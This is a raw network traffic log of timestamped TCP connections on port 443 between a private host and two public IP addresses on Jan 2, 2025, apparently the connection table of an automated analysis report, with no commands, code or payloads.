Jan 2, 2025 20:28:52.131705046 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.131719112 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.132455111 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.132623911 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.132644892 CET	49796	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.132661104 CET	443	49796	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.133038044 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.133070946 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.133179903 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.133497953 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.133514881 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.172780037 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.172833920 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.172864914 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.172890902 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.172957897 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.172986984 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.173217058 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.173984051 CET	49795	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.173998117 CET	443	49795	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.174680948 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.174714088 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.175616980 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.175925016 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.175940990 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.327485085 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.327532053 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.327560902 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.327579021 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.327650070 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.327677011 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.329054117 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.333348989 CET	49798	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.333360910 CET	443	49798	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.334217072 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.334237099 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.334498882 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.334498882 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.334534883 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.749039888 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.751009941 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.764211893 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.764230967 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.764408112 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.764413118 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.766522884 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.766583920 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.775696039 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.775711060 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.788489103 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:52.788501024 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:52.828078985 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.828196049 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.871999025 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.872008085 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:52.872298002 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:52.872307062 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.005028009 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.007013083 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.007460117 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.007467985 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.007630110 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.007637024 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.145101070 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.145167112 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.145220041 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.145821095 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.145828009 CET	443	49805	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.145849943 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.145867109 CET	49805	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.146579981 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.146610022 CET	443	49815	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.147263050 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.147470951 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.147481918 CET	443	49815	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.150381088 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.150743008 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.150803089 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.150909901 CET	49806	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.150918007 CET	443	49806	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.151515961 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.151550055 CET	443	49816	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.151614904 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.151810884 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.151818037 CET	443	49816	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.277146101 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.277219057 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.277314901 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.277326107 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.277338982 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.277367115 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.277439117 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.283160925 CET	49807	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.283191919 CET	443	49807	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.284924030 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.284962893 CET	443	49821	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.285033941 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.285218954 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.285233021 CET	443	49821	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.439764977 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.439812899 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.439898968 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.439898968 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.439913034 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.439935923 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.439984083 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.441452980 CET	49812	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.441467047 CET	443	49812	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.441891909 CET	49822	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.441932917 CET	443	49822	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.441987991 CET	49822	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.442325115 CET	49822	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.442337036 CET	443	49822	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.773281097 CET	443	49815	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.773344994 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.773874044 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.773883104 CET	443	49815	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.775778055 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.775784969 CET	443	49815	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.801424980 CET	443	49816	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.801482916 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.801887989 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.801896095 CET	443	49816	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.802171946 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:53.802176952 CET	443	49816	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:53.950719118 CET	443	49821	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.950771093 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.954488039 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.954493046 CET	443	49821	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:53.956176043 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:53.956182003 CET	443	49821	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:54.044800043 CET	49822	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:54.044845104 CET	49815	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.044857979 CET	49816	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.044883966 CET	49821	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:54.050530910 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.050554037 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.050770998 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.051922083 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.051935911 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.052364111 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.052392960 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.052444935 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.053797007 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.053811073 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.689888954 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.692998886 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.693984985 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.693984985 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.693995953 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.694011927 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.702656984 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.702729940 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.703232050 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.703238964 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:54.703515053 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:54.703520060 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.072185993 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.072583914 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.072611094 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.072664976 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.072957039 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.072999954 CET	443	49831	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.073066950 CET	49831	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.074302912 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.074309111 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.074333906 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.074352026 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.074429035 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.074430943 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.074989080 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.075006962 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.086087942 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.086272001 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.086302042 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.086500883 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.086555004 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.089297056 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.089312077 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.090398073 CET	49832	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.090434074 CET	443	49832	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.091242075 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.091281891 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.091432095 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.091459036 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.091485023 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.091540098 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.091793060 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.091806889 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.093645096 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.093657017 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.732151031 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.732284069 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.732938051 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.734986067 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.740441084 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.741116047 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.741159916 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.741211891 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.741252899 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.741981030 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.742016077 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.742043972 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.742074966 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.742995977 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.889527082 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.889569044 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.889894962 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.890003920 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.891560078 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.891980886 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.892009020 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.892406940 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.892668009 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.893798113 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.893820047 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.894094944 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.894118071 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.894216061 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.894984007 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:55.896728992 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.896750927 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.897051096 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.897126913 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.897763014 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:55.935327053 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:55.935331106 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.935333014 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:55.943335056 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.204997063 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.205132008 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.205445051 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.205498934 CET	443	49842	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.205560923 CET	49842	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.205903053 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.205935001 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.206581116 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.206880093 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.206897974 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.208096027 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.208194017 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.208208084 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.208271027 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.208328962 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.208357096 CET	443	49840	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.208471060 CET	49840	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.208771944 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.208802938 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.208976984 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.209225893 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.209237099 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.382574081 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.382627964 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.382658958 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.382683039 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.382711887 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.382781029 CET	443	49841	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.382808924 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.383512020 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.383512020 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.383997917 CET	49841	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.384057045 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.384089947 CET	443	49852	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.384371042 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.384371042 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.384397030 CET	443	49852	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.419682026 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.419740915 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.419769049 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.419795036 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.419821978 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.419867992 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.419891119 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.420079947 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.428354025 CET	49839	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.428384066 CET	443	49839	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.429130077 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.429179907 CET	443	49853	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.429311037 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.429549932 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:56.429564953 CET	443	49853	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:56.874269009 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.874334097 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.875093937 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.875140905 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.876847982 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.876853943 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.877096891 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.877166033 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.877613068 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.879790068 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.879853964 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.880626917 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.880671978 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.882463932 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.882472038 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.882765055 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.882832050 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.883148909 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:56.923327923 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:56.923332930 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.061505079 CET	443	49852	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.061575890 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.062386990 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.062397003 CET	443	49852	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.064260006 CET	49852	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.064273119 CET	443	49852	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.079344034 CET	443	49853	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.079405069 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.079776049 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.079797029 CET	443	49853	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.080001116 CET	49853	443	192.168.2.7	142.250.186.129
Jan 2, 2025 20:28:57.080005884 CET	443	49853	142.250.186.129	192.168.2.7
Jan 2, 2025 20:28:57.307549000 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.307606936 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307631016 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.307670116 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307775021 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.307818890 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307826042 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.307847023 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307847023 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307854891 CET	443	49850	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.307873011 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.307893991 CET	49850	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.308418036 CET	49860	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.308456898 CET	443	49860	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.308532000 CET	49860	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.308708906 CET	49860	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.308722973 CET	443	49860	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.320775032 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.320851088 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.320941925 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.320983887 CET	443	49851	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.321046114 CET	49851	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.321569920 CET	49861	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.321593046 CET	443	49861	216.58.206.78	192.168.2.7
Jan 2, 2025 20:28:57.321646929 CET	49861	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.321949959 CET	49861	443	192.168.2.7	216.58.206.78
Jan 2, 2025 20:28:57.321960926 CET	443	49861	216.58.206.78	192.168.2.7
